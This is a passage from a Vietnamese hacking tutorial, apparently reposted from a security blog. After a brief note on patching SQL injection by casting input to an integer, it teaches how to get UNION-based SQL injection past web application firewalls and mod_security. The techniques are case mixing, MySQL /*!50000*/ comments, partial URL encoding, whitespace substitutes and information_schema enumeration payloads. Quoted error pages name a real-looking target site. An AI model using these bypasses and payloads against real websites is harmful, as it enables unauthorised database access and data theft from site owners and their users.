hoặc
$id = (int)$_GET[‘id’];
Giải thích về vá lỗi :
3 cách đầu: Nếu nhập vào abc’ đi , thì nó sẽ hiểu là một chuỗi chứ không phải là abc rồi dấu ‘ riêng
Cách thứ 4: là nếu nhập chuỗi thì nó ép thành số tương ứng, mà số thì . . .
Hướng dẫn Bypass 1 số lỗi thường gặp:
Loại 403,406:
hi ta order by thành công , nhưng union select lại xuất hiện những dòng thông báo sau:
Quote:
406 Not Acceptable
This request is not acceptable Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!
Quote:
Forbidden
You don’t have permission to access /htmls/recruitment_detail.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at http://www.vinaplast.com.vn Port 80
Quote:
Not Acceptable
An appropriate representation of the requested resource /detClientes.php could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Để vượt qua được cái này, thì chúng ta cần phải bypass nó, nếu bypass vượt qua xem như site này 90% là đã xong với mình
Sau đây là một số cách vượt qua:
Cách 1 : tùy biến union select
Tùy biến ở đây là các bạn điều chỉnh chữ HOA, chữ THƯỜNG, HOA THƯỜNG xen kẽ nhau
Cách 2: Thêm comment /*!…*/ , /*!50000…*/
/*! …*/ là loại comment đặc biệt của SQL . Thêm dấu chấm than ! ở đây tức là phủ định nó đi .
Bạn hiểu nôm na là /*..*/ những query trong dấu này sẽ ko đc thực thi nhưng thêm dấu chấm than đằng trc thì nó lại được thực thi . Còn /*!50000…*/ thì version của SQL là 5.x mới thực thi ko thì ngược lại
Cách 3: Dùng encode URL, cách dùng như sau
ví dụ : ta encode union ,nhưng ta chỉ encode 1 phần hoặc tất cả chữ cái có trong union.
ta chỉ việc HEX nó và thêm đằng trước là %, chú ý là % chứ ko phải 0x đâu nhé
Cách 4: là khi xuất hiện khoảng trắng nó sẽ báo lỗi, ta thay khoảng trắng bằng dấu +, và 1 số trường hợp ta thay bằng : %0A,%0B,%0C,%0D,%09,%20…
Cách 5 : Kết hợp 4 cách trên lại với nhau
Cách 6: tự chế
Mẹo vặt để tìm ra từ khóa bị MOD_security:
Khi bypass union select thành công thì tới đoạn get table_name. Đoạn get table_name chắc chắn các bạn sẽ gặp trở ngại vì nó tiếp tục thông báo lỗi, do đó cách thức vựot qua cái này như sau :
Vi dụ site.com?tghmmd=1 order by 7– – là ok. Và Union select ta đã bypass và cho ra số 3
Quote:
>>union select 1,2,3,4,5,6,7– –
+Get table_name ta chưa vội thay table_name vào làm gì, mà thêm vào “from information_schema.tables” trước>> sẽ thành
Quote:
union select 1,2,3,4,5,6,7 from information_schema.tables– –
Nếu nó báo lỗi thì hầu hết bypass như sau:
Thay tables = /*!table*/=/*!50000tables*/ hoặc from= /*!from*/=/*!50000from*/
Nếu nó ko báo lỗi thì ta đi tiếp,và thêm đoạn where table_schema=database()
Nếu lại báo lỗi thì bypass như sau
Thay where=/*!where*/=/*!50000where*/ Hoặc = bằng like
Chú ý chỗ này, cái database() ,khi mà tìm version() mà nó chặn() thì chú ý chỗ này ta dùng tên cái database nhé
>>Khi đã thêm xong mà số column lỗi là 3 vẫn hiện ra là ta bypass ok rồi. Bây h chỉ việc thay cái table_name vào số 3 nữa là ok.
Nếu lỗi thì tiếp tục bypass như trên
table_name = /*!table_name*/ = /*!50000table_name*/




Nguồn: security.wordpress.com
thudinh Network and Security

Adsense

Translate